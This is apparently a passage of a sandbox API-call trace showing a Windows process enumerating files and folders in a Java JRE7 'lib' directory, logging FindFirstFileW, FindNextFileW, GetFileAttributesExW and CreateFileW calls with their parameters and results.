	[0055.053] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1
	[0055.053] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.053] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\ciexyz.pf"), fInfoLevelId=0x0, lpFileInformation=0x124314a8 | out: lpFileInformation=0x124314a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc824)) returned 1
	[0055.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\gray.pf"), fInfoLevelId=0x0, lpFileInformation=0x124314f8 | out: lpFileInformation=0x124314f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x278)) returned 1
	[0055.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\linear_rgb.pf"), fInfoLevelId=0x0, lpFileInformation=0x12431548 | out: lpFileInformation=0x12431548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414)) returned 1
	[0055.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\pycc.pf"), fInfoLevelId=0x0, lpFileInformation=0x12431598 | out: lpFileInformation=0x12431598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4302a)) returned 1
	[0055.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\srgb.pf"), fInfoLevelId=0x0, lpFileInformation=0x124315e8 | out: lpFileInformation=0x124315e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48)) returned 1
	[0055.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\content-types.properties"), fInfoLevelId=0x0, lpFileInformation=0x12431638 | out: lpFileInformation=0x12431638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x15ac)) returned 1
	[0055.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data"), fInfoLevelId=0x0, lpFileInformation=0x12431688 | out: lpFileInformation=0x12431688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1068)) returned 1
	[0055.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy"), fInfoLevelId=0x0, lpFileInformation=0x124316d8 | out: lpFileInformation=0x124316d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.055] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs", cAlternateFileName="")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1657, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3687, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1
	[0055.057] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.057] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), fInfoLevelId=0x0, lpFileInformation=0x12431bd8 | out: lpFileInformation=0x12431bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48cc)) returned 1
	[0055.059] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs"), fInfoLevelId=0x0, lpFileInformation=0x12431c28 | out: lpFileInformation=0x12431c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.059] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.059] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.059] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.conf", cAlternateFileName="JQS~1.CON")) returned 1
	[0055.059] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqsmessages.properties", cAlternateFileName="JQSMES~1.PRO")) returned 1
	[0055.060] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.060] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.060] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqs.conf"), fInfoLevelId=0x0, lpFileInformation=0x12431d18 | out: lpFileInformation=0x12431d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9f6e)) returned 1
	[0055.060] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqsmessages.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqsmessages.properties"), fInfoLevelId=0x0, lpFileInformation=0x12431d68 | out: lpFileInformation=0x12431d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6b8)) returned 1
	[0055.060] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages.properties"), fInfoLevelId=0x0, lpFileInformation=0x12431db8 | out: lpFileInformation=0x12431db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb2c)) returned 1
	[0055.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_de.properties"), fInfoLevelId=0x0, lpFileInformation=0x12431e08 | out: lpFileInformation=0x12431e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcea)) returned 1
	[0055.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_es.properties"), fInfoLevelId=0x0, lpFileInformation=0x12431e58 | out: lpFileInformation=0x12431e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe10)) returned 1
	[0055.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_fr.properties"), fInfoLevelId=0x0, lpFileInformation=0x12431ea8 | out: lpFileInformation=0x12431ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51)) returned 1
	[0055.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_it.properties"), fInfoLevelId=0x0, lpFileInformation=0x12431ef8 | out: lpFileInformation=0x12431ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc97)) returned 1
	[0055.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_ja.properties"), fInfoLevelId=0x0, lpFileInformation=0x12431f48 | out: lpFileInformation=0x12431f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x18cd)) returned 1
